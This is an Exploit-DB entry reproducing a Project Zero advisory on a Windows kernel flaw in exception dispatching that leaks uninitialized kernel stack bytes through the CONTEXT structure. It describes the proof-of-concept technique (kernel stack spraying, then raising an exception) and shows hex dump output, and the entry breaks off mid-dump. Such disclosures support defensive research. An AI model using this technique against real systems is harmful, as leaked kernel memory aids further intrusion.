Exploit-DB #42220
Description: Microsoft Windows - 'nt!KiDispatchException' Kernel Stack Memory Disclosure in Exception Handling
Type: dos
Platform: windows
Date: 2017-06-21
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1177

According to our tests, the generic exception dispatching code present in the Windows kernel (Windows 7-10) discloses portions of uninitialized kernel stack memory to user-mode clients via the CONTEXT structure set up for the ring-3 exception handlers.

The attached proof-of-concept program can be used to reproduce the issue. It works by first spraying a full page of the kernel stack with a 0x41 byte ('A') using the nt!NtMapUserPhysicalPages system call (see [1]), then also spraying a page of user-mode stack (to recognize any false-positives) with a 0x78 ('x') byte, followed by raising an exception with a RaiseException() call and dumping the contents of the CONTEXT structure provided to the unhandled exception filter function. After running the program, we should observe the 'A' byte on output in place of disclosed kernel memory.

On most tested platforms (Windows 7 64-bit, Windows 10 32/64-bit), running the 32-bit proof-of-concept program reveals 4 bytes of kernel stack memory at offset 0x88 of the structure. An example output is as follows:

--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00[41 41 41 41]2b 00 00 00 ........AAAA+...
00000090: 53 00 00 00 2b 00 00 00 2b 00 00 00 50 fe 32 00 S...+...+...P.2.
000000a0: 84 fd 32 00 00 e0 fd 7e 00 00 00 00 85 3c 1d 59 ..2....~.....<.Y
000000b0: 1c fd 32 00 6c fd 32 00 4f c5 72 75 23 00 00 00 ..2.l.2.O.ru#...
000000c0: 46 02 00 00 1c fd 32 00 2b 00 00 00 7f 02 00 00 F.....2.+.......
000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000e0: 00 00 00 00 80 1f 00 00 ff ff 00 00 00 00 00 00 ................
000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000120: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000130: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000140: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000150: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000160: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000170: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000190: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000001f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000290: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000002c0: 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ................
--- cut ---

Offset 0x88 of the CONTEXT structure on x86 corresponds to the 32-bit CONTEXT.FloatSave.Cr0NpxState field, which appears to remain in an uninitialized state before being copied to user-mode. We have tested that with the kernel stack spraying disabled, these bytes contain varying values originating from the kernel memory space.

On Windows 7 32-bit, we're observing a slightly different output:

--- cut ---
00000000: 7f 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 7f 02 00 00 ................
00000020: 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 3b 00 00 00 23 00 00 00 23 00 00 00 0c fe 2a 00 ;...#...#.....*.
000000a0: 40 fd 2a 00 00 f0 fd 7f 74 6c 8e 77 89 bb c8 38 @.*.....tl.w...8
000000b0: d8 fc 2a 00 28 fd 2a 00 5d 84 c3 75 1b 00 00 00 ..*.(.*.]..u....
000000c0: 46 02 00 00 d8 fc 2a 00 23 00 00 00 7f 02 00 00 F.....*.#.......
00000